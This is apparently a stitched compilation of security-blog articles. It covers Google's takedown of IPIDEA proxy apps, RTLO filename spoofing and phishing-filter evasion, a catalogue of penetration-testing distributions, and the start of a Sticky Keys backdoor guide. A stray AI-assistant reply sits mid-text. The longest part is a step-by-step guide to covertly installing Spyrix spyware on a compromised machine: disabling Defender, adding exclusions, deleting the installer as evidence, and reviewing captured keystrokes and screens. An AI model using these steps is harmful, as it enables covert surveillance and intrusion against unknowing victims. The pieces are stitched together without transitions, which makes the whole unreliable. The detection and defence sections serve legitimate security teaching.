Google took legal action to take down dozens of domains used to control devices and proxy traffic. The company also updated Google Play Protect to automatically warn users about apps containing IPIDEA code, and on certified Android devices, the system now automatically removes these malicious applications.

This incident illustrates several important lessons about modern DDoS threats. First, massive attack infrastructure often hides in consumer devices that owners don’t realize are compromised.

Second, seemingly legitimate services like VPNs and bandwidth-sharing apps may be fronts for malicious proxy networks. Third, the scale of modern DDoS infrastructure is enormous, with millions of devices potentially participating.

Combating these threats requires coordination between tech companies, law enforcement, and the cybersecurity community.

In the hands of attackers, it becomes a method that can be used to social engineer users into opening malware, or bypass email filters to deliver malicious payloads.

Attack #1: Hidden Executable

By default, file extensions are hidden on Windows, but some organizations show them, so that you can see what type of file extension it is before clicking on it.

If you receive a file called “invoice.exe” you’re unlikely to open it. This is where RTLO come in. By inserting the RTLO character in the filename, an attacker can reverse how it displays. The character is invisible and affects how the text displays.

Here’s an example:

An attacker renames a malicious .exe file and inserts the RTLO character:

document[U+202E]fdp.exe

This reverses all of the text after the character, including the file extension, and the character itself is invisible, so to the user who receives the file, it looks like:

documentexe.pdf

The file is still an .exe and it executes when double-clicked. Most users are trained to look for files that end in exe to indicate that they’re executables, and they might miss that the file type is still listed as an ‘Application’.

Real-World Example: Ferocious Kitten

Ferocious Kitten, an Iranian APT group active since 2015, has been documented using RTLO attacks to target dissidents, activists, and minority groups within Iran. They would send malicious files via Telegram and messaging apps.

Attack #2: Text Obfuscation

RTLO can also bypass keyword-based email filters designed to detect phishing and scam messages by hiding keywords from automated detection while keeping them visible to humans.

Email providers use keyword filters to block phishing attempts. Phrases like “verify your account,” “urgent action required,” and “confirm your password” are common triggers that get emails flagged or blocked. Attackers discovered they could use RTLO to evade these filters entirely.

Here’s the trick: instead of typing “verify” normally, an attacker reverses it to “yfirev” and adds the RTLO character at the beginning, so it looks like this:

‮yfirev

When you look at the source code on this page, you’ll see the character, and the text written backwards. Successful obfuscation!

The same technique also works on any platform with keyword-based content moderation, such as social media applications, messaging apps, etc.

RTLO: Step-by-Step Method

You can safely test the RTLO technique on your own system to see how it works. This is for educational purposes only.

Step 1: Get the RTLO Character

You can access the character through your operating system’s special character menu, or copy it directly from here: https://unicode-explorer.com/c/202E‮

Windows - Character Map:

1. Press Win + R and type charmap, then press Enter

2. Check “Advanced view” at the bottom

3. In “Search for:” type 202E and click Search

4. Select the RIGHT-TO-LEFT OVERRIDE character

5. Click “Select” then “Copy”

macOS - Character Viewer:

1. Press Cmd + Control + Space to open Character Viewer

2. Search for 202E in the search box

3. Double-click the RIGHT-TO-LEFT OVERRIDE character to copy it

Step 2: Enable File Extensions

To simulate an environment where security-conscious administrators have configured systems to show full filenames with extensions, enable this setting:

Windows:

1. Open File Explorer

2. Click the “View” menu

3. Click “Show” and check “File name extensions”

macOS:

1. Open Finder

2. Click Finder menu, then Settings

3. Click the “Advanced” tab

4. Check “Show all filename extensions”

Step 3: Create a Test File

1. Create a new text file and save it as ‘document.txt’

2. Right-click the file and select Rename

3. Type: document

4. Press Ctrl+V (Windows) or Cmd+V (Mac) to paste the RTLO character.

5. Type: fdp.txt

6. Press Enter to save the filename

The file will appear as documenttxt.pdf but is actually a .txt file. Check the file Type to confirm it’s still a text document.

Detection and Defense

Defending against RTLO attacks requires a multi-layered approach that balances security with usability.

The challenge is that U+202E cannot simply be removed or blocked because it’s essential for billions of users writing in right-to-left languages like Arabic, Hebrew, and Persian. This creates a permanent tension between linguistic accessibility and security.

The solution is to build smarter defenses that detect anomalous usage rather than blocking the character entirely. For example, RTLO appearing in Windows executable filenames has no legitimate use case and should always trigger an alert.

For individual users, the first line of defense is awareness and careful file inspection:

• Enable “Show file extensions” in Windows Explorer through the View menu so you can see the complete filename including the extension

• When you receive an unexpected file attachment, check the Type column in File Explorer, which will show “Application” for executable files regardless of how the filename appears

• Right-click suspicious files and select Properties to view the true file extension and other metadata

• Be particularly wary of files with unusual spacing, question marks, or small boxes in their names, as these often indicate invisible Unicode characters

For organizations, defense requires technical controls at multiple layers:

• Email gateways should be configured to strip RTLO characters from attachments and message bodies, or at minimum flag messages containing them for review

• Endpoint detection and response systems should alert when RTLO appears in executable filenames on workstations

• Security awareness training should include specific examples of RTLO attacks so employees know what to watch for

• File scanning and malware analysis tools should normalize Unicode before performing keyword analysis to prevent evasion

RTLO serves a legitimate purpose for multilingual communication and cannot be blocked entirely. Effective defenses focus on detecting anomalous usage, such as RTLO appearing in executable filenames or phishing emails, which have no legitimate use case.

Security distributions provide complete toolsets pre-installed and ready to use, eliminating weeks of manual setup.

Building a security platform from scratch requires researching tools, resolving dependencies, configuring permissions, setting up specialized drivers, and maintaining updates across hundreds of packages.

These distributions include everything needed for reconnaissance, vulnerability scanning, exploitation, password attacks, wireless testing, web application analysis, malware reverse engineering, and forensic investigation.

They also provide specialized configurations impossible on standard systems: kernel patches for packet injection, isolated malware environments, and forensically sound operating modes.

Professional penetration testers, security researchers, and incident responders use these as standard platforms. The distributions covered here represent the most widely used platforms for penetration testing, malware analysis, and digital forensics.

Penetration Testing & Ethical Hacking Distributions

These distributions provide tools for offensive security assessment of networks, web applications, wireless infrastructure, and systems.

1. Kali Linux

Foundation: Debian Linux (testing branch)

Developer: Offensive Security

Tool collection: Over 600 pre-installed security tools covering all phases of penetration testing: reconnaissance, vulnerability scanning, wireless attacks, web application testing, exploitation, password cracking, network sniffing, post-exploitation, forensics, and reporting.

Key features: MetaPackages system for installing tool groups by specialty area. Runs on diverse platforms including standard computers, ARM devices, Windows Subsystem for Linux, virtual machines, Docker containers, and cloud environments. Rolling release model ensures continuous updates. Multiple desktop environments available. Industry standard with official training courses including PWK for OSCP certification. Largest community and tutorial ecosystem of any security distribution.

System requirements: Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 40GB disk space.

Updates and maintenance: Rolling release with weekly update cycles. Maintained by Offensive Security with worldwide repository mirrors.

Documentation: Extensive official documentation and largest collection of community-created tutorials and guides. Nearly all penetration testing learning materials assume Kali environment.

Community: Largest security distribution community across forums, Discord, Reddit, and social media. Professional penetration testers, researchers, and students worldwide.

Best applications: Professional penetration testing engagements, security certification preparation, security research, standardized testing methodologies, educational purposes.

Official website:

https://www.kali.org

2. Parrot Security OS

Foundation: Debian Linux (testing branch)

Developer: Parrot Security Team

Tool collection: Over 700 security tools covering penetration testing, digital forensics, reverse engineering, and privacy operations. Includes all standard security testing capabilities plus enhanced privacy and anonymity tools.

Key features: AnonSurf routes all traffic through Tor with one click. Full disk encryption by default. Lower resource consumption than Kali. Sandboxed browser with privacy extensions. Cryptocurrency wallet support. Development environments for multiple programming languages. Multiple editions: Security (full toolkit), Home (privacy tools only), Cloud (lightweight), and IoT (ARM devices). Strong emphasis on privacy and anonymity alongside offensive security capabilities.

System requirements: Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 40GB disk space. Runs efficiently on older hardware.

Updates and maintenance: Rolling release model with worldwide update mirrors. Faster tool updates than Kali with slightly less conservative testing.

Documentation: Active community documentation, forums, and tutorials. Smaller than Kali but substantial resources available.

Community: Growing privacy-focused security community with strong forum support and regular content creation.

Best applications: Privacy-conscious security work, limited hardware resources, development combined with security testing, cloud-based testing, users wanting integrated anonymity tools.

Official website:

https://www.parrotsec.org

3. BlackArch Linux

Foundation: Arch Linux

Developer: BlackArch Linux Team

Tool collection: Over 2,800 security tools across dozens of specialized categories, representing the largest collection available in any distribution. Covers every conceivable security testing scenario from common to highly specialized.

Key features: Largest tool repository of any security distribution. Can be installed as complete operating system or added as repository to existing Arch installation. Rolling release with bleeding-edge tool versions. Highly customizable with granular installation control: individual tools, by category, or complete collection. Lightweight base system. Access to Arch User Repository for additional community packages. Pacman package manager for efficient package management.

System requirements: Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 40GB disk space. Actual requirements depend on chosen desktop environment.

Updates and maintenance: Continuous rolling release. Tools updated immediately upon upstream release. Requires user management of updates with occasional manual intervention.

Documentation: Arch Wiki provides comprehensive Linux documentation. BlackArch-specific documentation covers repository usage. Assumes existing Linux competency.

Community: Arch Linux community plus BlackArch-specific forums and IRC. Smaller but highly knowledgeable user base.

Best applications: Security researchers needing specialized tools, users proficient with Arch Linux, environments requiring latest tool versions, highly customized platforms, advanced penetration testers.

Official website:

https://blackarch.org

4. BackBox

Foundation: Ubuntu LTS (Long Term Support)

Developer: BackBox Team

Tool collection: Curated selection of essential penetration testing tools covering reconnaissance, vulnerability assessment, exploitation, privilege escalation, access maintenance, reverse engineering, and stress testing. Quality over quantity approach.

Key features: Ubuntu LTS foundation provides five years of support and extensive hardware compatibility. Minimal desktop environment for fast performance. Curated tool selection avoids overwhelming options. Optimized for quick boot and responsive operation. Familiar Ubuntu package management. Sensible defaults reduce configuration requirements.

System requirements: Minimum 2GB RAM and 15GB disk space. Recommended 4GB RAM and 25GB disk space. Efficient on modest hardware.

Updates and maintenance: Ubuntu LTS update schedule with regular security patches. Conservative approach prioritizes stability over cutting-edge versions.

Documentation: Official wiki covers installation, configuration, and tool usage. Adequate documentation for focused tool set.

Community: Ubuntu ecosystem plus BackBox-specific forums. Moderate size with helpful support.

Best applications: Ubuntu familiarity with security tools, fast deployment scenarios, minimal overhead environments, curated tool preferences, field work prioritizing speed and reliability.

Official website:

https://www.backbox.org

5. Pentoo

Foundation: Gentoo Linux

Developer: Pentoo Team

Tool collection: Comprehensive penetration testing toolkit including network assessment, wireless security, web application testing, exploitation, password cracking, and forensics. All tools compiled from source for hardware optimization.

Key features: Source-based compilation optimized for specific CPU architectures. Hardened kernel with security patches providing enhanced memory protections and kernel hardening. Live USB with persistence for field work. Portage package manager with USE flags for compile-time feature control. Near-complete system customization. Access to Gentoo’s extensive portage repository.

System requirements: Minimum 2GB RAM and 30GB disk space. Recommended 8GB RAM, 50GB disk space, and multi-core CPU. Compilation benefits from additional resources.

Updates and maintenance: Updates require recompiling packages. Time-intensive but allows continuous optimization. Major updates may require substantial recompilation.

Documentation: Gentoo Handbook for system-level documentation. Pentoo wiki for security tools. Assumes significant Linux expertise.

Community: Gentoo community plus Pentoo-specific IRC and forums. Smaller but highly knowledgeable.

Best applications: Gentoo experience required, performance-critical operations, highly customized environments, hardware-optimized performance, complete system control.

Official website:

https://www.pentoo.ch

Malware Analysis Distributions

6. REMnux

Foundation: Ubuntu LTS

Developer: Lenny Zeltser and David Westcott

Tool collection: Specialized malware analysis toolkit covering static analysis, dynamic analysis, code reverse engineering, document analysis, script deobfuscation, memory forensics, and behavior analysis. Includes disassemblers, decompilers, debuggers, sandboxes, and extensive Python analysis libraries.

Key features: Purpose-built for malware reverse engineering. Pre-configured tools optimized for malware analysis workflows. Network isolation configurations for safe malware interaction. YARA integration for pattern matching. Extensive deobfuscation and unpacking capabilities. Support for analyzing executables, documents, scripts, and web-based threats. Memory forensics with Volatility Framework. Python libraries for programmatic analysis.

System requirements: Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 40GB disk space. More RAM improves memory-intensive analysis.

Updates and maintenance: Regular updates with new tools, signatures, and configurations. Stays current with evolving malware analysis techniques.

Documentation: Comprehensive documentation covering workflows and best practices. Regular blog posts with current techniques. Detailed guides for common scenarios.

Community: Active malware analysis community. Used in professional training courses. Community-contributed walkthroughs and tutorials.

Best applications: Malware reverse engineering, suspicious file analysis, incident response involving malware, security research, signature development, malware analysis training.

Official website:

https://remnux.org

7. Tsurugi Linux

Foundation: Ubuntu LTS

Developer: Tsurugi Linux Project

Tool collection: Over 130 tools spanning digital forensics, incident response, and malware analysis. Covers disk imaging, file system analysis, deleted file recovery, memory forensics, timeline analysis, static and dynamic malware analysis, network forensics, and mobile device analysis.

Key features: Bridges forensics and malware analysis disciplines. Comprehensive memory forensics capabilities. Live forensic acquisition without evidence modification. Automated artifact collection. IOC scanning and detection. Mobile forensics for Android and iOS. Network forensics with session reconstruction. Timeline correlation from multiple sources.

System requirements: Minimum 4GB RAM and 30GB disk space. Recommended 8GB RAM and 60GB disk space. Memory-intensive tasks benefit from additional RAM.

Updates and maintenance: Ubuntu LTS foundation with regular security and tool updates. Conservative approach prioritizes stability.

Documentation: Official documentation covers workflows and investigation methodologies. Includes incident response scenario guides.

Community: DFIR-focused community with practical incident response emphasis. Specialized knowledge base.

Best applications: Incident response investigations, combined forensics and malware analysis, enterprise security operations, threat hunting, compromise assessments, SOC analysis.

Official website:

https://tsurugi-linux.org

Digital Forensics Distributions

8. CAINE (Computer Aided Investigative Environment)

Foundation: Ubuntu LTS

Developer: Nanni Bassetti

Tool collection: Complete forensic suite including disk imaging, file system analysis, file recovery, memory forensics, network forensics, mobile device forensics, timeline analysis, and evidence reporting. Integrated tools work together through unified interface.

Key features: Automatic write-blocking in forensic mode prevents evidence modification. Forensic imaging with cryptographic hash generation for integrity verification. Advanced file carving for hundreds of file types. Timeline analysis from multiple sources. Case management and reporting. Operates entirely from live media without touching target storage. Semi-automated workflows guide investigation processes.

System requirements: Minimum 4GB RAM and 30GB disk space. Recommended 8GB RAM and 100GB+ disk space for case storage. High-capacity storage needed for forensic images.

Updates and maintenance: Ubuntu LTS foundation with regular updates. Conservative testing ensures forensic tool reliability.

Documentation: Official documentation covers forensic workflows and best practices. Community forum with case studies and peer support.

Community: Forensic investigator community including law enforcement and corporate investigators. Case study discussions and technique sharing.

Best applications: Law enforcement investigations, corporate investigations, e-discovery, incident response with evidence preservation, forensic training, legally defensible processes.

Official website:

https://www.caine-live.net

9. DEFT Linux

Foundation: Custom Linux base (previously Ubuntu)

Developer: Stefano Fratepietro

Tool collection: Forensic tools for disk analysis, file recovery, memory forensics, mobile device forensics, network forensics, and anti-forensics detection. Supports multiple file systems including NTFS, FAT, ext2/3/4, HFS+, and APFS. Includes DART for Windows providing portable forensic tools.

Key features: Dual-platform approach with DART for Windows forensic consistency. Automatic write-blocking in forensic mode. RAID reconstruction capabilities. Live forensics for volatile data collection. Hash verification for evidence integrity. Case management framework. International support with multiple languages. Portable DART tools require no installation on target systems.

System requirements: Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 60GB disk space plus additional storage for forensic images.

Updates and maintenance: Regular updates with new tools and capabilities. Update mechanism preserves forensic mode integrity.

Documentation: User manual covers workflows and investigation methodologies. Community wiki with case studies and techniques.

Community: International forensic community with multi-language support. Forum discussions and technique sharing.

Best applications: Cross-platform forensics (Windows and Linux), live and post-mortem analysis, mobile device forensics, corporate investigations, law enforcement, portable forensic capabilities.

Official website:

https://www.deftlinux.net

You’re absolutely right - I made an error. ArchStrike IS a standalone distribution. It provides ISO images that can be installed as a complete operating system, just like BlackArch. It can also be added as a repository to existing Arch installations, but that doesn’t make it “not standalone.”

Let me restore ArchStrike as the 10th distribution:

10. ArchStrike

Foundation: Arch Linux

Developer: ArchStrike Team

Tool collection: Over 2,300 security packages organized into categories like exploitation, forensics, networking, cryptography, anti-forensics, backdoors, scanners, and more. Can be installed as complete distribution or added as repository to existing Arch installation.

Key features: Comprehensive security tool repository built on Arch Linux foundation. Modular installation allows building custom security workstations. Rolling release provides bleeding-edge tools. Pacman package manager for efficient package management. Access to Arch User Repository. Can start with minimal base and add only needed tools. Follows Arch philosophy of simplicity and user control.

System requirements: Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 40GB disk space. Requirements depend on installed components.

Updates and maintenance: Continuous rolling release. Tools updated as upstream releases become available. Requires user management of updates.

Documentation: ArchStrike documentation covers installation and repository usage. Arch Wiki provides comprehensive system documentation. Assumes Linux proficiency.

Community: Arch Linux community plus ArchStrike-specific support channels. Smaller but knowledgeable user base.

Best applications: Arch Linux users wanting security tools, building custom security workstations, modular installations, users preferring Arch ecosystem, highly customized platforms.

Official website:

https://archstrike.org

Each distribution offers unique strengths tailored to specific security disciplines.

Selecting the right platform depends on your technical experience, hardware resources, and whether your work focuses on penetration testing, malware analysis, or digital forensics. Happy Hacking!

It operates as spyware, meaning it runs hidden on the target system without the user’s knowledge. Once installed, Spyrix transmits captured data to a secure web-based dashboard where the monitoring party can review all recorded activity.

Disclaimer: This guide is intended for educational purposes only. Installing monitoring software on systems without authorization is illegal and may result in criminal prosecution. The author is not responsible for misuse of this information.

Table of Contents

1. Overview

2. Disclaimer

3. Core Capabilities

4. Stealth Features

5. Detecting Spyrix on a System

6. Installation Requirements

7. Spyrix Demo: Surveillance on Windows

   • Part 1: Setting Up Spyrix on the Attacker Machine

   • Part 2: Establish Remote Desktop Connection to Target

   • Part 3: Installing Spyrix on the Target System

   • Part 4: Verifying the Connection

   • Part 5: Generating Target User Activity

   • Part 6: Monitoring User Activity from Spyrix

   • Part 7: Generating a Monitoring Report

8. Understanding the Collected Data

9. Summary

Core Capabilities

Spyrix provides a comprehensive suite of monitoring features:

• Keystroke logging captures every key pressed on the target system, including passwords, messages, search queries, and any other typed content. This data is logged with timestamps and associated application context, so you can see exactly what was typed and where.

• Platform monitoring tracks activity across popular communication applications including Facebook, WhatsApp, Skype, and email clients. This allows surveillance of social media interactions, instant messages, and email correspondence.

• Screenshot capture automatically takes periodic screenshots of the target system’s display. These images provide visual confirmation of what the user was viewing at any given time.

• Live viewing enables real-time observation of the target screen as the user works. This feature streams the current display to your monitoring dashboard, allowing you to watch activity as it happens.

• Webcam monitoring captures images or video from the target system’s webcam, either on demand or through continuous recording.

• Screen recording provides continuous video capture of all on-screen activity, creating a complete visual record that can be reviewed later.

• Web browsing history logs all websites visited, including URLs, page titles, and visit timestamps.

• Application monitoring tracks which programs are launched, how long they remain active, and when they are closed.

• Call recording captures video calls from WhatsApp, Facebook, Viber, Skype, Slack, Zoom, and Telegram.

• Face recognition, available in PRO and Business tiers, photographs and identifies everyone who accesses the monitored device.

Stealth Features

Spyrix operates in a hidden mode by default. It does not appear in the Windows Start Menu, Desktop, or the Add/Remove Programs list in Control Panel.

The software runs as a background process with a non-descriptive name to avoid drawing attention in Task Manager.

Detecting Spyrix on a System

Spyrix is detectable on a system due to the following factors:

• Antivirus and anti-malware software frequently flag Spyrix as a Potentially Unwanted Program (PUP) or outright malware. Most commercial security solutions maintain signatures for known spyware applications, and Spyrix is well-documented in these databases. Before installation, attackers typically disable or create exclusions in the target system’s security software.

• Network traffic analysis can reveal Spyrix activity. The software must transmit captured data to remote servers, generating outbound network connections that security monitoring tools or firewalls may flag as suspicious. The traffic patterns, destination addresses, and data volumes can indicate surveillance software is present.

• Process and service enumeration can uncover Spyrix. While the process names are designed to appear innocuous, detailed inspection of running processes, loaded DLLs, and system services can reveal the software’s presence.

• Registry entries and file system artifacts remain on the target system. Forensic analysis of the Windows Registry, installed services, scheduled tasks, and file system can identify Spyrix installation even when the software attempts to hide.

• Behavioral indicators such as unusual system behavior such as slowdowns, unexpected disk activity, webcam lights activating without user action, or unexplained network traffic may alert observant users to surveillance activity.

Installation Requirements

Installing Spyrix requires administrative privileges on the target system.

The installer must be executed with elevated permissions, which means you need either physical access to an unlocked administrator session or valid administrator credentials for remote installation.

The installation process requires user interaction unless specifically configured for silent deployment.

Enterprise versions of similar monitoring software often support silent installation through command-line parameters or Group Policy deployment, but the standard Spyrix Personal Monitor installer presents a graphical wizard.

Spyrix Demo: Surveillance on Windows

In the following demo, we will install Spyrix Personal Monitor on a target Windows system using Remote Desktop access and then use the web dashboard to monitor user activity. Our attacker machine is also on Windows.

Part 1: Setting Up Spyrix on Windows Server 2022

This section covers installing Spyrix on a target machine and creating the monitoring account that will receive captured data.

1. Log in to your attacker workstation, which will serve as the system where you monitor the collected surveillance data.

2. Download Spyrix from https://www.spyrix.com/download.php and navigate to the installation folder. Double-click the installer file to launch the installation wizard.

3. The installation wizard begins with a Welcome screen that requests an email address for online monitoring. Leave this field blank for now and click Next. You will register for an account separately in the following steps.

4. Proceed through the remaining installation screens using the default options. On the final screen, ensure the checkbox labeled “Sign in your Online Monitoring account” is selected. This option opens the Spyrix web portal after installation completes. Click Finish.

5. Your default web browser opens to the Spyrix web portal. Since you do not yet have an account, click Register to create one.

6. On the Account Registration page, enter an email address and create a password. This account will serve as your central dashboard for monitoring all systems where Spyrix is installed.
   
   Click Sign Up to complete registration. After the account is created, minimize the browser window but keep it open for later use.

Part 2: Establish Remote Desktop Connection to Target

7. To install Spyrix on the target system, you need remote or physical access to that machine. In this demo, we’ll use Windows Remote Desktop Protocol (RDP) to connect to the target. In a real scenario, these credentials would have been obtained through techniques such as password cracking, phishing, or credential harvesting.

8. On your attacker machine, click the search field in the taskbar, type Remote, and select Remote Desktop Connection from the search results.

9. The Remote Desktop Connection window opens. In the Computer field, enter the IP address of your target system click ‘Connect’.

10. A Windows Security prompt appears requesting the password. Enter the password for the compromised account and click OK.

11. A security warning dialog appears indicating that the identity of the remote computer cannot be verified. This warning appears because the connection is not using a trusted certificate. Click Yes to proceed.

Important: Remote Desktop connections require the target machine to be powered on and accessible over the network. If the connection fails, verify that the target system is running.

The Remote Desktop session establishes successfully, and you now see the Desktop of the target system. A Networks prompt may appear asking whether you want your PC to be discoverable by other devices on this network. Click Yes to dismiss this prompt.

If Server Manager launches automatically, close it to clear your workspace. Minimize the Remote Desktop Connection window but keep the session active.

Part 3: Installing Spyrix on the Target System

With remote access established, you can now deploy the Spyrix monitoring software to the target machine. This simulates how an attacker with remote access would install surveillance tools.

Before downloading and installing Spyrix, you must disable Windows Defender and add an exclusion for the Spyrix installation folder on the target system.

Spyrix is flagged as a Potentially Unwanted Program by most security software, and the installation will fail or be quarantined if these steps are not completed.

12. To disable the antivirus on the target system, press Win+R to open the Run dialog. Type windowsdefender://threat in the Open field and press Enter. This opens the Virus & threat protection settings directly. Alternatively, you can open Settings, navigate to Update & Security, select Windows Security, and then click Virus & threat protection.

13. In the Virus & threat protection window, click “Manage settings” under Virus & threat protection settings.

14. Locate the Real-time protection toggle and turn it off. Windows may display a User Account Control prompt, so click Yes to confirm.

15. Scroll down to the Exclusions section and click “Add or remove exclusions” to add an exclusion for the Spyrix installation folder.

16. Click “+ Add an exclusion” and select “Folder” from the dropdown menu. Enter the path C:\ProgramData\Security Monitor\ and click “Select folder” to add the exclusion.

17. On your attacker machine, return to the Spyrix dashboard in your browser. After logging in, you will see the “Adding computers” section which displays download options. Select your target platform (Windows or macOS) and choose the appropriate product tier. Click “Proceed to download” to download the installer file.

18. The download page displays a password required to extract the downloaded ZIP file. Make note of this password before proceeding.

19. Navigate to the folder where the installer was downloaded and extract the ZIP file using the password provided.

20. Right-click on the extracted installer file and select Copy.

21. Restore the minimized Remote Desktop Connection window to view the target system’s Desktop. Right-click on an empty area of the Desktop and select Paste. The Spyrix installer copies from your local machine to the target system through the Remote Desktop session. RDP allows clipboard sharing between the local and remote systems, which facilitates file transfer during attacks.

22. On the target system’s Desktop, double-click the installer file to launch it. If Windows displays a User Account Control prompt asking whether you want to allow this application to make changes, click Yes. This step requires the remote session to have administrative privileges.

23. A language selection dialog appears. Keep the default selection and click OK.

24. The installation wizard’s Welcome screen appears. Enter the email address you registered earlier. This links the target system’s Spyrix installation to your monitoring account, ensuring all captured data transmits to your dashboard. Click Next to continue.

25. Complete the remaining installation steps using default options. On the final screen, select the radio button labeled “No, I will restart the computer later” and click Finish.

26. Delete the installer file from the Desktop to remove evidence of the installation.

27. Manually restart the target machine by right-clicking the Start button, selecting Shut down or sign out, then clicking Restart. Restarting ensures Spyrix initializes properly and begins running in hidden mode.

Part 4: Verifying the Connection

After the target system restarts, Spyrix begins operating in hidden mode and establishes communication with your monitoring account. This section verifies that the connection is working.

28. Return to Windows Server 2022 and maximize the browser window containing the Spyrix web portal. A notification should appear indicating that a new computer has connected to your account. Close this notification popup.

If the notification does not appear automatically, refresh the page by pressing F5 or clicking the browser’s reload button.

If the connected computer still does not appear, click your email address in the top-right corner of the page and select Computers from the dropdown menu. This displays a list of all systems linked to your monitoring account.

Troubleshooting: If the target computer does not appear in your Computers list after refreshing, the Spyrix service may not have started properly after the restart.

Establish a new Remote Desktop session the target, following Steps 8 through 12, which forces the system to fully initialize. Close the Remote Desktop window after connecting, then return to the browser and refresh the Spyrix dashboard.

Part 5: Generating Target User Activity

To demonstrate Spyrix’s monitoring capabilities, you need to generate activity on the target system that the software can capture. This section simulates a legitimate user performing normal tasks.

29. Switch to the target machine directly rather than through Remote Desktop. Press Ctrl+Alt+Delete to reach the login screen. Select Jason from the user list on the left side and enter the password qwerty.

30. After logging in, open a web browser such as Google Chrome. Browse to any website of your choice. For this demonstration, we navigate to Gmail. The goal is to generate typical user activity including web browsing, typing, and interacting with applications.

31. Spend a few minutes performing various activities on the target system. Visit multiple websites, type text into search fields or forms, and open different applications. Each of these actions generates data that Spyrix captures and transmits to your monitoring account. After generating sufficient activity, leave the machine as is and proceed to the next section.

Part 6: Monitoring User Activity from Spyrix

With activity generated on the target system, you can now examine the captured data through the Spyrix web dashboard. This section explores the various monitoring features.

32. Switch back to your attacker machine and maximize the browser containing the Spyrix Personal Monitor web portal. Click the reload button to refresh the dashboard and load the latest captured data from the target system.

33. Click Activity Overview in the navigation menu. This section provides a summary dashboard showing all events captured from the target machine. The overview displays statistics and recent activity across all monitoring categories.

34. In the left navigation pane, click Users Activity. This section displays detailed logs of user interactions including login times, session duration, and activity patterns.

35. Click Screenshots to view the images automatically captured from the target system’s display. Spyrix periodically takes screenshots based on configured intervals or triggered events. Each screenshot includes a timestamp and shows exactly what appeared on the user’s screen at that moment.

36. Click Web Pages Visited to see a comprehensive log of the target user’s browsing history. This section lists every URL accessed, the page title, the browser used, and timestamps for each visit.

37. Click Keyboard Events to examine the keystroke log. This section displays every key pressed on the target system, organized by timestamp and application context. The keystroke data is one of the most valuable outputs of surveillance software because it captures information the user intended to keep private.

38. Click Events Log to access the comprehensive event timeline. Click All Events to display every recorded event in chronological order. This unified view combines screenshots, keystrokes, application usage, and web activity into a single timeline that reconstructs the user’s complete session.

39. Click Live Viewing to watch the target system’s screen in real time. This feature streams the current display from the target machine to your browser, allowing you to observe activity as it happens.

Part 7: Generating a Monitoring Report

Spyrix can compile captured data into formatted reports for documentation, analysis, or evidence purposes. This section demonstrates the report generation feature.

40. In the Spyrix dashboard, click the Reports section in the navigation menu. Then click the + Request New Report button to create a new report.

41. The Request New Report dialog appears. Click the text box under Select Period to choose the date range for the report. For this demonstration, keep the default date settings which should include today’s activity. Click Request Smart Report to begin generating the report.

42. Report generation takes a few moments depending on the amount of captured data. Wait several seconds, then click the reload button next to + Request New Report to refresh the report status.

43. The report list displays the status of your requested report. Initially the status shows Running while the report compiles. Continue refreshing until the status changes to Ready. Once ready, click Download to save the report file.

44. The downloaded file is a ZIP archive. Extract the contents using Windows Explorer or your preferred archive utility. Navigate into the extracted report folder and double-click report.html to open the report in your web browser.

45. The Spyrix Smart Report presents a comprehensive document containing all captured surveillance data organized into sections.
    
    The report includes screenshots arranged chronologically, program activity showing applications used, keyboard activity displaying typed content, and URLs listing all websites visited. This report format is useful for documenting findings, conducting analysis offline, or presenting evidence.

Understanding the Collected Data

The data captured by Spyrix demonstrates the extensive visibility that monitoring software provides into user activity. Consider what an attacker or unauthorized monitor could learn from this information:

• Keystroke logs reveal passwords, private messages, personal thoughts typed into documents, search queries, and any other typed content. Even brief monitoring periods can capture credentials for email accounts, banking sites, and corporate systems.

• Screenshots provide visual context that keystrokes alone cannot capture. They reveal the content of documents being read, images being viewed, video being watched, and the overall context of user activity.

• Web browsing history exposes personal interests, financial activities, health concerns, political views, and any other information accessed through the web. Combined with keystroke logging of form submissions, this data can reveal login credentials and personal information entered into websites.

• Application monitoring shows work patterns, software usage, and potentially unauthorized or policy-violating activities.

This demo shows what an attacker can achieve once they gain access to a system. A compromised system with monitoring software installed provides an attacker with near-complete visibility into the victim’s digital life.

Summary

Spyrix is a commercial surveillance tool that enables covert monitoring of user activity across Windows, macOS, and Android platforms.

It captures keystrokes, screenshots, web browsing history, application usage, and communications from platforms like WhatsApp, Skype, and Facebook. The software operates in hidden mode and transmits collected data to a secure web dashboard.

In this demo, we installed Spyrix on a target Windows system using Remote Desktop access. We disabled Windows Defender, added folder exclusions, deployed the monitoring client, and observed captured data through the web dashboard.

We learned how to deploy surveillance software on a compromised system, configure antivirus exclusions to prevent detection, link a monitoring client to a remote dashboard, and review captured keystrokes, screenshots, browsing history, and live screen activity.

Understanding how monitoring software operates is essential for both offensive security testing and defensive security measures. Security professionals should know how to identify signs of surveillance software and protect systems against unauthorized monitoring.

Happy Hacking!

When enabled, modifier keys like Shift, Ctrl, and Alt remain active after they are released, allowing users to press key combinations one key at a time. The feature can be activated by pressing the Shift key five times in a row.

While Sticky Keys serves an important accessibility purpose, it can also be exploited by attackers to gain unauthenticated and highly privileged access to a Windows machine.

This walkthrough demonstrates how to use Metasploit to exploit the Sticky Keys feature and establish persistent system-level access on a target Windows 11 machine.

In Windows, system-level (NT AUTHORITY\SYSTEM) is the highest privilege level. It provides more control than an administrator account and allows full access to all operating system functions.

The Persistence Mechanism

It is important to understand the type of persistence this exploit provides.

When you run the Sticky Keys module, it replaces the legitimate Sticky Keys executable (sethc.exe) with a copy of the command prompt executable (cmd.exe) on the target system. This modification is made directly to Windows system files, so it survives reboots and remains in place until the original file is manually restored.

The persistence here does not keep the Meterpreter session alive. Meterpreter sessions will still terminate if the target machine restarts or loses network connectivity. Instead, this exploit creates a backdoor that allows anyone with physical or Remote Desktop access to open a SYSTEM-level command prompt directly from the Windows lock screen or login screen.

This means that even after the machine restarts and all network connections are gone, an attacker who can reach the login screen can press Shift five times and receive a fully privileged command prompt without entering any credentials.

This technique is especially useful when an attacker has temporary access to a system and wants to ensure they can regain privileged access later. The backdoor persists across reboots, user logouts, and password changes because it operates at the system level before any user authentication occurs.

Overview

This demonstration uses two virtual machines to simulate an attack scenario. The first machine is the Parrot Security VM, which serves as the attacker system.

Parrot Security is a Linux distribution designed for penetration testing and security research, and it comes preinstalled with the tools needed for this exercise.

